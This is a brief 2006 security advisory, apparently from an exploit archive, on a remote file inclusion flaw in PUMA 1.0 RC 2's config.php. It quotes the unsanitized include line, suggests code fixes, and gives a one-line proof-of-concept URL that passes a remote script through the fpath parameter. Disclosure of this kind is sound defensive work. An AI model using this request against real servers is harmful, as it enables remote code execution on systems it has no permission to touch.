PUMA <= 1.0 RC 2 (config.php) Remote File Include Vulnerability

2006-09-10T00:00:00
ID 1337DAY-ID-810
Type zdt
Reporter Philipp Niedziela
Modified 2006-09-10T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ===============================================================
PUMA <= 1.0 RC 2 (config.php) Remote File Include Vulnerability
===============================================================



+--------------------------------------------------------------------
+
+ PUMA 1.0 RC 2 (config.php) Remote File Inclusion
+
+--------------------------------------------------------------------
+
+ Affected Software .: PUMA 1.0 RC 2
+ Venedor ...........: http://php.psywerx.net/
+ Class .............: Remote File Inclusion
+ Risk ..............: high (Remote File Execution)
+ Found by ..........: Philipp Niedziela
+
+--------------------------------------------------------------------
+
+ Affected File:
+ /config.php
+
+ Code:
+ .....
+ // Select language
+ $lang = "lang_english.php";
+ include($fpath."./language/$lang");
+ .....
+
+--------------------------------------------------------------------
+
+ $fpath is not properly sanitized before being used
+
+--------------------------------------------------------------------
+
+ Solution:
+  -> Declare $fpath!
+  -> Deny direct access to config.php
+  -> or modify code:
+
+ if(!isset($_REQUEST['fpath']) && !isset($_GET['fpath']) &&
!isset($_POST['fpath'])){
+ //code of org. config.php
+ }
+ else {
+ echo "You cannot access this file directly.";
+ die();
+ }
+
+--------------------------------------------------------------------
+
+ PoC:
+
+ http://[target]/config.php?fpath=[script]
+
+
+-------------------------[ E O F ]----------------------------------



#  0day.today [2018-01-02]  #